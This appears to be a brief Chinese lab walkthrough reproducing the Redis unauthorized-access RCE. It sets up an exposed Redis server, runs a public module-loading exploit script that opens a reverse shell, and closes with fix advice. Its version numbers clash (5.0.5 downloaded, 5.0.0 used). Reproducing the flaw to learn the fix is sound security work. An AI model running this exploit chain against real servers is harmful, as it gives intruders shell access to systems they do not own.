環境搭建
5.0版本下載
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar xzf redis-5.0.0.tar.gz cd redis-5.0.5 make
修改配置文件運行遠程訪問
1、將redis.conf文件中的bind 127.0.0.1 這行前面加注釋(#); 2、將redis.conf文件中的 protected-mode yes 改為no;
運行Redis
./redis-server /root/redis/redis-5.0.0/redis.conf
下載EXP
git clone [url]https://github.com/Ridter/redis-rce.git[/url] git clone [url]https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git[/url]
編譯module.so文件:
將編譯完的module.so復制到redis-rce目錄下,然后執行以下命令:
python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so
-r參數是指遠程Redis IP地址; -L參數是指反彈到的服務器IP地址; 執行命令后,開啟監聽了本地的60720端口,並成功反彈回了shell。
修復建議
這是針對redis未授權訪問的漏洞 這里直接redis.conf文件里面的 requirepass 參數取消注釋 這里5.0是默認開啟未授權訪問的